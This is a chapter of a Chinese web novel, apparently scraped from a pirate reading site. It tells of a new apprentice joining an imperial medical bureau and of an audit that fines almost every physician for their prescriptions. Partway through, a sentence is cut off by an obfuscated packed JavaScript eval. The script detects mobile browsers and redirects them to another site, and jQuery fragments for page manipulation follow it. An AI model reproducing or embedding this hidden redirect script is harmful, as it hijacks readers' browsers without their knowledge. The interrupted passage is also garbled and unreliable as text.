默认冷灰
24号文字
方正启体

17.无人幸免

作者:万舞洋洋本书字数:K更新时间:
    不出白术意料的,杨供奉的小孙女进宫那日,引来了整个太医苑的围观。


    杨怀舒才过及笄,比白术小了整整两岁。小姑娘看着还没有长大,脸蛋圆圆,被一众师兄师姐们围观的害羞脸红,腼腆一笑,脸颊上有一对浅浅的酒窝。


    苏幼小声与白术嘀咕:“她和杨老板一点都不像。”


    ——因着杨供奉是个一心钻研医术的老古板,故而又有绰号“杨老古板”,简称“杨老板”。


    大抵“讨教医理”是太医苑欢迎新人的传统,尤其是杨供奉门下的弟子们,非但没有放过杨怀舒,反而问的问题更刁钻古怪。


    小杨姑娘没有在这么多人面前说过话,被一个接一个的问题问红了脸,说话也有些磕磕巴巴,白术对这样的窘迫太能感同身受了,挤开人群为杨怀舒解围。杨怀舒向白术投了个感激的眼神,小声说:“多谢师姐。”


    小姑娘声音听上去也像个孩子,甜甜娇娇的,叫白术心要化了。


    妹妹啊,多可爱的小妹妹!


    白术拍着胸脯对杨怀舒道:“有事你吱一声,你白师姐我罩你。”


    小怀舒笑眼弯弯点头:“嗯!”


    白术领着杨怀舒在太医苑逛了一圈,带她认识了苏幼。


    白术觉得她的二代咸鱼组又添一员猛将,但是很快白术就知道,她错了。


    杨怀舒只是腼腆,不爱说话,容易害羞,喜欢听别人说话、喜欢一个人读书、喜欢安静独处,但其实一点——都!不!菜!


    白术深受打击。


    原来太医苑里,真正的咸鱼只有她自己。


    苏幼安慰她:“你进步已经很快了,很有天赋。你看,除了潘师姐,没人发现你滥竽充数呢。”


    白术撇嘴摆手:“师姐,你不用安慰我,大家看破不说破罢了,我懂。”


    苏幼讪讪,又说:“但是你很努力了,再过两三年,一定能像潘师姐、邱师姐一样,成为德艺双馨的名医。”


    白术感动,抱着苏幼,头抵在她肩上:“呜呜,师姐,你真好。”


    苏幼揉揉白术脑袋,失笑说:“好啦,开心一点。”


    杨怀舒拜了邱楚心做师父。


    邱楚心向来独来独往,不拜师门,也没有收徒弟。但她的医术却是公认的好,方子下的准,常能用最少得药材治好病。


    杨供奉亲自去拜邱楚心,请她收杨怀舒做徒弟。杨供奉是妇儿科三位供奉中资历最深的,临近花甲的年纪,也最古板严肃,便是对妃嫔公主也常不假辞色。


    邱楚心不敢受杨供奉拜,连声道:“大人折煞了我。我不过是知道些民间的偏方,不能登大雅之堂。”


    杨供奉叹了口气,道:“你的能耐老夫是知道的,不必自谦。这丫头你就收下,倒水添墨的活计给她,倒还使得。”


    邱楚心谢过了杨供奉的好意,于是挑了个日子,拜师礼在女医官们的小院里行过,从此,杨怀舒有了师父,邱楚心有了徒弟。


    邱楚心仍是每月会去一趟教坊司,白术之外,她也会带上杨怀舒。


    三人一道看诊,就快了许多。只是并不能早一些结束——教坊使的“亲戚们”,更多了。


    “亲戚们”冲着邱楚心而来,不会找白术与杨怀舒两个一看就很年轻的小姑娘,于是白术和杨怀舒常能偷个闲,嘀嘀咕咕说些小话。教坊司的娘子们与她两个都算同岁,一来二去熟悉起来。白日里教坊司也不忙,得空也与她两个说笑,有时还会抚琴唱曲玩乐。


    教坊司的娘子们见多识广,知道的玩笑多,常把白术和杨怀舒逗得直不起腰。只是教坊司的笑话,娘子们习以为常,纵是仔细记着白术和杨怀舒是小姑娘,有些话听不得,但难免说到兴致处,就带了点颜色。


    学医的,什么不懂?白术和杨怀舒都听的明白,小怀舒羞得面红耳赤,背手挡脸说:“姐姐们再逗我,下回我就不来了。”


    叫人哈哈直乐。


    “可别,”教坊司的刘娘子笑说,“姐妹们月月都盼着小神医呢。小神医想吃什么玩儿什么,给姐姐们说来,下回一定给小神医伺候好喽。”


    ——这话意思上没毛病,可被刘娘子用她软软黏黏的声音说出来,平白就多了几分暧昧。


    杨怀舒的小脸就更红了,众人又笑,更想逗她,白术也笑。


    从此以后,杨怀舒说什么都不听教坊司的娘子们“讲笑话”了,尤其是刘娘子,开口她就捂耳朵,说:“不听不听,刘娘子存心闹我笑话。”


    不能给小怀舒讲笑话成了刘娘子的一大憾事,只好说:“好吧,晚两年姐姐再教你。”


    软玉楼的姑娘们多才多艺,刘娘子更是翘楚。她有一架七弦的琴,白术与杨怀舒都觉得好玩,跟着刘娘子几个姐妹,学了个七七八八。


    这是后话。


    现话是——


    太医署,被罚了。


    整个太医署,都被罚了。


    是一日寻常的清晨,白术收拾着药箱,预备出门看几个复诊的病患;邱楚心下值,回来补脉案;潘澄念念叨叨地给苏幼改她乱七八糟的脉案;常志芳这两日脖子有些疼,找徐青燕下针;林韶音搬了一屉屉的药材熏蒸晾晒;小茯拿了一叠方子,穿梭在药柜间配药;杨供奉照旧在骂他的徒弟不长心;沈供奉与万供奉商量怎么给胎相不稳的贵妃安胎;二师兄一钱草一手盘着他的核桃,一手勾画今日要开什么会……


    忽的几十名太监力士,杀进了太医苑。呼啸而过,直奔方丞架阁库去。


    阵仗骇人,正要出门的白术退到一边,看见大师兄在,凑过去问:“这是要干什么?”


    大师兄的表情显得很牙疼,提起官帽捋了把没有几根头发的头顶,说:“又来了,这是少府的人。”


    白术又看见大腹便便的薛丞陪着一行文官打扮的人走过,里头有好几个人都拎着算盘。大师兄倒吸一口冷气:“太常寺也来了?”


    很快医丞方丞药丞几个人跑出来,吩咐腾出十间明堂给太常寺与少府的大人们办差,一箱箱脉案被搬出了架阁库,太医署忙忙乱乱,许多人探头探脑地看。


    白术也想看,被她大师兄看了一眼药箱,她大师兄问:“你要出诊?”


    大师兄撵她:“快走快走,不要耽误正事。”


    白术走了一圈诊回来,太常寺与少府突检太医署的消息已经传开了。


    太医署愁云惨淡,人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960070|192812||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人都面带痛苦之色。一打听白术知道了这回的不寻常处——


    这回太常寺与少府联合办案,倒查三年。


    “查了多少遍的东西,怎么还要查?”郎典仙烦躁踱步,“这差是当不起了,辞官算了。”


    沈供奉叹气道:“叫你们平日里脉案仔细些,什么辩证、什么药理,一条条务必要记明白,都是有用处的。”


    “两日归档啊,赶上个值夜、出诊,哪有时间?”苏幼愁的揪眉毛,就数她的脉案写的最烂。


    常志芳补充说:“还要开会。”


    小茯赞同:“对头。”


    杨怀舒问:“咱们做医官的,不是应当看病么?病症看好了,怎么还有这么多麻烦?”


    白术脱口而出说:“小舒啊,你想的太简单。”


    话一出口白术自己都愣了,不敢想这样的话会从她嘴里说出来。


    要疯,白术也忍不住薅头发了。


    噼里啪啦的算盘声在太医署里响了几日,就叫医官们提心吊胆了多少日子。


    大半个月后,太常寺与少府的大人们撤出太医署,开出了天价罚单。


    ——数额过大,不便展示。


    要!疯!


    这下子,太医署中最强官二代、淮国公府大小姐苏幼也撑不住了,高声大嚷:“我要辞官!”


    方令善拍了她两下叫她冷静:“写申议吧。”


    苏幼反问她:“有用么?”


    上官有命,没用也得写。


    整个太医署,全体点灯熬油,加班加点写申议。


    被罚的最惨的是一钱草,对,最圆滑小心的一钱草,这一回被罚的最狠,理由是——甘草。


    甘草调和诸药,性甘平,便宜又好用,二师兄一钱草的方子里,几乎每一剂都有不同量的甘草。


    于是少府认定钱一草滥用甘草,每份方子都被罚了,三倍处罚。


    三年的方子,上千张。


    不敢算,吓死人。


    其次是苏幼,她医术凑合,马马虎虎,所以组方就没那么精准,时常不敢下药,又怕效力不够,就这个加点那个也加点,一张方子里一二十种药材。要知道《千金方》中平均每副方剂也只有五六味药,故而她有许多被判了大处方。就,从万供奉、沈供奉他们来看,只能说方子用的杂、脏,却也不能说不对。


    一样被罚。


    只好在苏幼自己看诊的时间不长,被罚的没有太多。


    潘澄也被罚了,她下药讲究精益求精。是药三分毒,她总想用最少最准的药材治病,虽精准,却不怎么算价钱,有许多方子一样的病症,却比邱楚心、郎典仙她们用的药都金贵,贵出一大截,所以也被罚了许多。


    被罚的也有邱楚心,有几张方子她用了偏方,偏方里的几味药材是宫里没有的,她从宫外带了来,故而药丞煎药留记的方子与出库的药材不符,就也被罚了。


    方令善被罚多是因为三年前的方子,那时候的脉案写的没这么仔细,她又是大方脉,什么都能看,三年里看过的病人上千人次,哪里能记得住三年前的情况?所以也被罚了不少。


    太医署,除了才来的杨怀舒,无人幸免。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)